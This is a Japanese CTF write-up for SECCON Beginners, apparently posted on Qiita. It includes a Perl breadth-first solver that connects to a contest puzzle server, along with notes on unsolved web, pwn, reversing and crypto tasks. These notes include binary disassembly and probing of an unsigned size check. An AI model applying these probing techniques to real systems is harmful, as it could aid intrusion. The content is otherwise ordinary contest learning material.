適当に方向を入力すると、1文字入力した時点ですぐに[-] Incorrect answer.と出力され、接続が切れてしまった。
そこで、TCPなのに受信されるデータの区切りに依存するウンコードか…?と思いつつ、解くためのプログラムを書くことにした。
この3×3のスライドパズルの盤面の状態は高々9! = 362880通りのはずなので、普通の幅優先探索で解けるはずである。
以下が今回書いたプログラムである。

puzzle.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV + 0 >= 1 && $ARGV[0] eq "test") {
    #print(&up("012345678")."\n");
    #print(&up("312045678")."\n");
    #print(&up("312645078")."\n");
    #print(&up("312645708")."\n");
    #print(&up("312405678")."\n");
    #print(&down("012345678")."\n");
    #print(&down("102345678")."\n");
    #print(&down("312045678")."\n");
    #print(&down("312645078")."\n");
    #print(&down("312645708")."\n");
    #print(&down("312405678")."\n");
    #print(&left("012345678")."\n");
    #print(&left("312045678")."\n");
    #print(&left("312645708")."\n");
    #print(&right("012345678")."\n");
    #print(&right("312045678")."\n");
    #print(&right("312645708")."\n");
    #print(&right("312645780")."\n");
    #exit;
    #print &solve("----------------\n| 03 | 01 | 02 |\n| 06 | 04 | 05 |\n| 00 | 07 | 08 |\n----------------");
    print &solve("----------------\n| 01 | 00 | 02 |\n| 07 | 04 | 05 |\n| 03 | 06 | 08 |\n----------------");
    print "\n";
} else {
    use IO::Socket;
    my $sock = new IO::Socket::INET(PeerAddr=>"133.242.50.201", PeerPort=>24912, Proto=>"tcp");
    die "socket error $!\n" unless $sock;
    while (my $read = <$sock>) {
        if ($read =~ /---/) {
            my $p = $read;
            for (my $i = 1; $i < 5; $i++) {
                $p .= <$sock>;
            }
            print "query:\n$p\n";
            my $answer = &solve($p);
            print "answer:\n$answer\n";
            print $sock $answer;
        } else {
            print "message:\n$read\n";
        }
    }
    close($sock);
}

sub solve {
    my $in = $_[0];
    $in =~ s/[^0-9|]//g;
    $in =~ s/^\|//g;
    $in =~ s/\|$//g;
    $in =~ s/\|\|/|/g;
    my @data = split(/\|/, $in);
    my @data2 = ();
    for (my $i = 0; $i < @data; $i++) {
        push(@data2, int($data[$i]));
    }
    my $start = join("", @data2);
    my @q = ("%" . $start);
    my %visited = ();
    $visited{$start} = 1;
    while (@q > 0) {
        my ($r, $s) = split(/%/, shift(@q));
        if ($s eq "012345678") {
            return substr($r, 1);
        }
        my $next;
        $next = &up($s);
        unless ($visited{$next}) {
            $visited{$next} = 1;
            push(@q, $r . ",0%" . $next);
        }
        $next = &right($s);
        unless ($visited{$next}) {
            $visited{$next} = 1;
            push(@q, $r . ",1%" . $next);
        }
        $next = &down($s);
        unless ($visited{$next}) {
            $visited{$next} = 1;
            push(@q, $r . ",2%" . $next);
        }
        $next = &left($s);
        unless ($visited{$next}) {
            $visited{$next} = 1;
            push(@q, $r . ",3%" . $next);
        }
    }
    return "";
}

sub up {
    my $in = $_[0];
    my $idx = index($in, "0");
    if ($idx < 3) { return $in; }
    return substr($in, 0, $idx - 3) . substr($in, $idx, 1) .
        substr($in, $idx - 3 + 1, 2) . substr($in, $idx - 3, 1) . substr($in, $idx + 1);
}

sub down {
    my $in = $_[0];
    my $idx = index($in, "0");
    if ($idx > 5) { return $in; }
    return substr($in, 0, $idx) . substr($in, $idx + 3, 1) .
        substr($in, $idx + 1, 2) . substr($in, $idx, 1) . substr($in, $idx + 3 + 1);
}

sub left {
    my $in = $_[0];
    my $idx = index($in, "0");
    if ($idx % 3 == 0) { return $in; }
    return substr($in, 0, $idx - 1) . substr($in, $idx, 1) .
        substr($in, $idx - 1, 1) . substr($in, $idx + 1);
}

sub right {
    my $in = $_[0];
    my $idx = index($in, "0");
    if ($idx % 3 == 2) { return $in; }
    return substr($in, 0, $idx) . substr($in, $idx + 1, 1) .
        substr($in, $idx, 1) . substr($in, $idx + 1 + 1);
}

これを実行すると、しばらく問題と答えが表示されたあと、
[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
と表示された。

解けなかった問題

Web

Himitsu

システムのソースコードと考えられるデータと、データベースの情報が与えられた。
適当に操作してみてもわからず。
ソースコードと考えられるデータを見ると、プレースホルダーを使っており、SQLインジェクションは難しそうであった。
データベースの情報に

schema.sql
INSERT INTO articles VALUES ('censored', '2020/00/00 00:00', 'admin', 'flag', 'flag', 'dummy4b{here_comes_flag}');

という部分があり、ソースコードと考えられるデータに

ArticleMapper.php
        $created_at = date("Y/m/d H:i");
        $article_key = md5($username . $created_at . $title);

という部分があったため、この情報をもとに記事ID818ad85c57419fabdf081beb134c2066を試してみたが、
該当する記事は無いようだった。

Secure Meyasubako

Himitsuに続き、またreCAPTCHA付きの「管理者に送信」機能がある…なるほど、わからん。

katsudon-okawari

flagのページには、

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ== 

という文字列が書かれていた。
とりあえず--で区切られた各パートごとにbase64デコードしてみると、

   |  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF
---+-----------------------------------------------------------------
00 | 6D 02 03 C3 37 E3 B5 97 6F 58 B1 FE 1C 3E 63 86 m..テ7.オ.oXア..>c.
10 | 16 56 E3 DD 7B 70 52 9B C7 B2 C3 44 FC EC 2F 72 .V.ン{pR.ヌイテD../r
20 | 57 A9 0F 15 26 9E 51 61 F2 88 C3 9C 6A 7B FC 61 Wゥ..&.Qa..テ.j{.a
30 | 2E                                              .


   |  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF
---+-----------------------------------------------------------------
00 | 71 44 BD 7D 07 AD 7C 10 BC C2 C5 7B             qDス}.ュ|.シツナ{


   |  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF
---+-----------------------------------------------------------------
00 | 13 CB D0 6D 11 78 BC 7A 2F 62 53 C5 BC 7D D4 9D .ヒミm.xシz/bSナシ}ヤ.

となり、すぐに意味があるデータは見えなかった。
また、Ruby on Railsのトークンについて軽く調べてみたが、3パートあるトークンの情報は得られなかった。

さらに、「クーポン発行」のページのソースを見ると

<!-- debug: app/controllers/coupon_controller.rb -->

という記述があり、気になったが、このファイルを見つけることはできなかった。

Pwnable

OneLine

与えられたファイルを7-Zipで開くと、libc-2.27.soonelineの2ファイルが得られた。
onelineをバイナリエディタで開くとELFの文字が見えたので、
機械語コードっぽい部分として0x6A0~0xB4Fの部分を切り出し、objdumpを用いて逆アセンブルした。
その結果を見ると、「0x28バイトまでの入力を読み込み、
その0x20バイト目(0-origin)からの部分を機械語コードのアドレスとして呼び出す」という処理を2回しているようであった。
[warmup] shellcoderでの実験の結果、スタックのアドレスは毎回変わるようだったので、
この問題でも変わりそうだと予想した。そして、どうするべきかわからなくなった。
変わるスタックのアドレスのうち、上位は00 00 7fで固定のようだったので、
もう一個のファイルlibc-2.27.soから00 00 7f (リトルエンディアンなのでデータ上は7f 00 00)を探してみると、
8バイトアラインメントになっているものだけでもけっこうあった。
しかし、そこからどうするべきかは考えられなかった。

memo

与えられたファイルを7-Zipで開くと、memoの1ファイルが得られた。
これをバイナリエディタで開くとELFの文字が見えたので、
機械語コードっぽい部分として0x558~0xA1Fの部分を切り出し、objdumpを用いて逆アセンブルした。
その結果、および指定のIPアドレスとポートにTera Termの「その他」で接続しての実験の結果、
まずサイズと称する整数を入力し、その整数が負か32以上なら文字列を入力、そうでなければ入力し直しとなるようだった。
(符号なしで比較するjbe命令を使っていたので、負の整数は大きい正の整数とみなされる)
また、memoをバイナリエディタで開いて見えた文字列などから、整数はatoi関数により認識されるようであった。
コードを読んだ結果、ここで入力した整数を加工した値がスタックポインタに足されるようであった。
入力する整数を4ずつ変えた結果、-66~-94を入力したときはYour Contentが出力されず、
-62以上や-98以下を入力した時は、それぞれ違うYour Contentが出力されるようであった。
しかし、ここからどうするべきかはわからなかった。

BabyHeap

与えられたファイルを7-Zipで開くと、babyheaplibc-2.27.soの2ファイルが得られた。
babyheapをバイナリエディタで開くとELFの文字が見え、0x7A0~0xE1Fが機械語コードっぽかった。

しかし、Pwnableの他2問が解けておらず、この問題も表示されている得点が高かった(解いているチームが少なかった)ため、
解ける見込みが少ないと思い、まともに読まなかった。

Reversing

Leakage

与えられたファイルを7-Zipで開くと、._leakageleakageの2ファイルが得られた。
leakageをバイナリエディタで開くとELFの文字が見えたので、
機械語コードっぽい部分として0x498~0xE7Fの部分を切り出した。
これをこれまでの問題と同様に
objdump -m i386:x86-64 -b binary -D leakage_seems_code.bin
コマンドで逆アセンブルしようとすると、なぜか途中で

This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.

と出て止まってしまった。
逆アセンブルできた部分を見ると、大量のローテート命令、xor命令、MMX命令が見え、解析は大変そうだと思った。

ファイルleakageには

0C80  58 A0 00 75 73 61 67 65 3A 20 25 73 20 66 6C 61  X  usage: %s fla
0C90  67 0A 00 63 6F 72 72 65 63 74 00 77 72 6F 6E 67  g  correct wrong

という部分があったことから、コマンドラインからflag候補の文字列を渡すと、
それがcorrectかwrongかを判定してくれそうだと思えた。
さらに、Leakageというタイトルから、
入れた文字列が間違っている場合どこで間違っているかの情報が得られるかもしれないと考えた。
しかし、解析は大変そうだったので、解析を行わなかった。

Linear Operation

与えられたファイルを7-Zipで開くと、._linear_operationlinear_operationの2ファイルが得られた。
linear_operationをバイナリエディタで開くと、ELFの文字が見えた。
また、他の問題のELFファイルは13KB程度であったのに対し、このELFファイルは約61KBと大きかった。
Leakageと同様に機械語コードっぽい部分として0x4B8~0xD1B7を切り出し、objdumpで逆アセンブルしようとすると、なぜか途中で

This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.

と出て止まってしまった。
objdumpを呼び出すときのコマンドのi386:x86-64i386にすると、
(内容はともかく)途中で止まらずに逆アセンブル処理ができた。
その結果は、movzbl命令が多い印象があった。
しかし、解析の方針は立たなかった。

SecconPass

アーカイブファイルではなく、ELFファイルが直接与えられた。
Reversingの他の2問が解けておらず、表示されている得点も高い(解いているチームが少ない)ことから、
解ける見込みが少ないと判断し、解析を行わなかった。

Crypto

[warmup] So Tired

与えられたファイルを7-Zipで開くと、encrypted.txtが得られた。
中を見るとbase64エンコードっぽかったので、base64デコードしてみると、よくわからないファイルが得られた。
このファイルは約274KBあり、flagだけを暗号化しているにしてはやけに大きいのが気になったが、
だからどうするべきかはわからなかった。
stringsコマンドを用いてみたが、flagらしき文字列は得られなかった。
そこで、とりあえず以下のコードを用いて各バイトの出現頻度を調べてみた。

hist.c
#include <stdio.h>

int main(int argc, char* argv[]) {
    FILE* fp;
    int count[256] = {0};
    int input;
    int max;
    int i, j;
    if (argc < 2 || (fp = fopen(argv[1], "rb")) == NULL) {
        puts("error");
        return 1;
    }
    while ((input = getc(fp)) != EOF) count[input]++;
    fclose(fp);
    max = 0;
    for (i = 0; i < 256; i++) {
        if (count[i] > max) max = count[i];
    }
    for (i = 0; i < 256; i++) {
        int len = 70 * count[i] / max;
        printf("%6d ", count[i]);
        for (j = 0; j < len; j++) putchar('*');
        putchar('\n');
    }
    return 0;
}

その結果、以下のように、0xffが若干少ないかなという感じはしたが、0x00~0xff全てのバイトがほぼ均等に現れているようだった。

  1106 **********************************************************
  1140 ************************************************************
  1074 *********************************************************
  1081 *********************************************************
  1043 *******************************************************
  1017 ******************************************************
  1102 **********************************************************
  1093 **********************************************************
  1088 *********************************************************
  1076 *********************************************************
   969 ***************************************************
  1118 ***********************************************************
  1024 ******************************************************
  1094 **********************************************************
  1067 ********************************************************
  1154 *************************************************************
  1083 *********************************************************
  1071 ********************************************************
  1108 **********************************************************
  1064 ********************************************************
  1088 *********************************************************
  1093 **********************************************************
  1112 ***********************************************************
  1091 *********************************************************
  1041 *******************************************************
  1071 ********************************************************
  1018 ******************************************************
  1124 ***********************************************************
  1132 ************************************************************
  1094 **********************************************************
  1056 ********************************************************
  1207 ****************************************************************
  1095 **********************************************************
  1045 *******************************************************
  1071 ********************************************************
  1022 ******************************************************
  1084 *********************************************************
  1065 ********************************************************
   966 ***************************************************
  1078 *********************************************************
  1181 **************************************************************
  1021 ******************************************************
  1065 ********************************************************
  1141 ************************************************************
  1069 ********************************************************
  1048 *******************************************************
  1107 **********************************************************
  1143 ************************************************************
  1093 **********************************************************
  1041 *******************************************************
  1090 *********************************************************
  1103 **********************************************************
  1095 **********************************************************
  1024 ******************************************************
  1085 *********************************************************
  1107 **********************************************************
  1068 ********************************************************
  1104 **********************************************************
  1069 ********************************************************
  1095 **********************************************************
  1089 *********************************************************
  1101 **********************************************************
  1190 ***************************************************************
  1183 **************************************************************
  1043 *******************************************************
  1078 *********************************************************
  1053 *******************************************************
  1106 **********************************************************
  1127 ***********************************************************
  1088 *********************************************************
  1119 ***********************************************************
  1129 ************************************************************
  1068 ********************************************************
  1089 *********************************************************
  1050 *******************************************************
  1129 ************************************************************
  1061 ********************************************************
  1094 **********************************************************
  1046 *******************************************************
  1103 **********************************************************
  1122 ***********************************************************
  1059 ********************************************************
  1140 ************************************************************
  1061 ********************************************************
  1116 ***********************************************************
  1070 ********************************************************
  1092 **********************************************************
  1096 **********************************************************
  1061 ********************************************************
  1175 **************************************************************
  1081 *********************************************************
  1075 *********************************************************
  1077 *********************************************************
  1035 *******************************************************
   996 ****************************************************
  1196 ***************************************************************
  1055 ********************************************************
  1118 ***********************************************************
  1108 **********************************************************
  1110 **********************************************************
  1063 ********************************************************
  1031 ******************************************************
  1097 **********************************************************
  1100 **********************************************************
  1103 **********************************************************
  1096 **********************************************************
  1114 ***********************************************************
  1077 *********************************************************
  1084 *********************************************************
  1110 **********************************************************
  1073 *********************************************************
  1093 **********************************************************
  1062 ********************************************************
  1092 **********************************************************
  1025 ******************************************************
  1114 ***********************************************************
  1073 *********************************************************
  1143 ************************************************************
  1081 *********************************************************
  1118 ***********************************************************
  1080 *********************************************************
  1054 ********************************************************
  1093 **********************************************************
  1064 ********************************************************
  1209 ****************************************************************
  1208 ****************************************************************
  1317 **********************************************************************
  1068 ********************************************************
  1117 ***********************************************************
  1164 *************************************************************
  1020 ******************************************************
  1109 **********************************************************
  1166 *************************************************************
  1094 **********************************************************
  1006 *****************************************************
  1042 *******************************************************
  1075 *********************************************************
  1027 ******************************************************
  1079 *********************************************************
  1116 ***********************************************************
  1048 *******************************************************
  1091 *********************************************************
  1060 ********************************************************
  1103 **********************************************************
  1059 ********************************************************
  1039 *******************************************************
  1104 **********************************************************
  1065 ********************************************************
  1074 *********************************************************
  1086 *********************************************************
  1064 ********************************************************
  1110 **********************************************************
  1064 ********************************************************
  1009 *****************************************************
  1071 ********************************************************
  1050 *******************************************************
  1129 ************************************************************
  1061 ********************************************************
  1114 ***********************************************************
  1195 ***************************************************************
  1106 **********************************************************
  1086 *********************************************************
  1113 ***********************************************************
  1123 ***********************************************************
  1043 *******************************************************
  1079 *********************************************************
  1071 ********************************************************
  1096 **********************************************************
  1027 ******************************************************
  1131 ************************************************************
  1078 *********************************************************
  1140 ************************************************************
  1063 ********************************************************
  1125 ***********************************************************
  1031 ******************************************************
  1149 *************************************************************
  1101 **********************************************************
  1059 ********************************************************
  1095 **********************************************************
  1161 *************************************************************
  1165 *************************************************************
  1122 ***********************************************************
  1064 ********************************************************
  1112 ***********************************************************
  1043 *******************************************************
  1099 **********************************************************
  1078 *********************************************************
  1108 **********************************************************
   997 ****************************************************
  1070 ********************************************************
  1106 **********************************************************
  1171 **************************************************************
  1143 ************************************************************
  1134 ************************************************************
  1097 **********************************************************
  1135 ************************************************************
  1067 ********************************************************
  1156 *************************************************************
  1104 **********************************************************
  1114 ***********************************************************
  1138 ************************************************************
  1126 ***********************************************************
  1035 *******************************************************
  1118 ***********************************************************
  1067 ********************************************************
  1065 ********************************************************
  1116 ***********************************************************
  1147 ************************************************************
  1081 *********************************************************
  1081 *********************************************************
  1110 **********************************************************
  1153 *************************************************************
  1090 *********************************************************
  1026 ******************************************************
  1059 ********************************************************
  1092 **********************************************************
  1112 ***********************************************************
  1080 *********************************************************
  1070 ********************************************************
  1134 ************************************************************
  1079 *********************************************************
  1070 ********************************************************
  1046 *******************************************************
  1203 ***************************************************************
  1145 ************************************************************
  1035 *******************************************************
  1075 *********************************************************
  1114 ***********************************************************
  1126 ***********************************************************
  1151 *************************************************************
  1068 ********************************************************
  1115 ***********************************************************
  1119 ***********************************************************
  1132 ************************************************************
  1025 ******************************************************
  1069 ********************************************************
  1067 ********************************************************
  1119 ***********************************************************
  1109 **********************************************************
  1146 ************************************************************
  1117 ***********************************************************
  1150 *************************************************************
  1145 ************************************************************
  1098 **********************************************************
  1176 **************************************************************
  1156 *************************************************************
  1125 ***********************************************************
  1101 **********************************************************
  1207 ****************************************************************
  1260 ******************************************************************
  1177 **************************************************************
  1203 ***************************************************************
  1241 *****************************************************************
  1199 ***************************************************************
  1067 ********************************************************
   881 **********************************************

また、このファイルを7-Zipで開こうとしても、書庫として開けないようだった。
ここで方針が思いつかず、止まった。

終了の約10分前、ようやく「CTF Crypto」でググってみた。
すると、
CTF Crypto - A painter and a black cat
などがヒットした。
まず、ここで紹介されていたXORSearchでbase64デコードしたファイルからflagを探してみたが、見つからなかった。
次に、CyberChefを試してみることにした。
ForensicsのDetect File Typeを試して見ると、

File extension: zlib
MIME type:      application/x-deflate

と出た。
そこで、CompressionのRaw Inflate、Zlib Inflate、Gunzip、Bzip2 Decompressを試したが、全てエラーになってしまった。
ヘッダの部分に細工されている可能性を考えたが、解析をする前に時間切れになってしまった。
(これを書いている時に試した結果、「Detect File Typeの結果」を解凍しようとして失敗していたようで、
Detect File Typeを外してからZlib Inflateをかけると、base64エンコードされているっぽい文字列が得られた)

おまけ

執筆時点までに#ctf4bを付けてツイートされている、他の皆様(作問側を含む)のwriteupの類をまとめました。
抜けがあったらごめんなさい。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1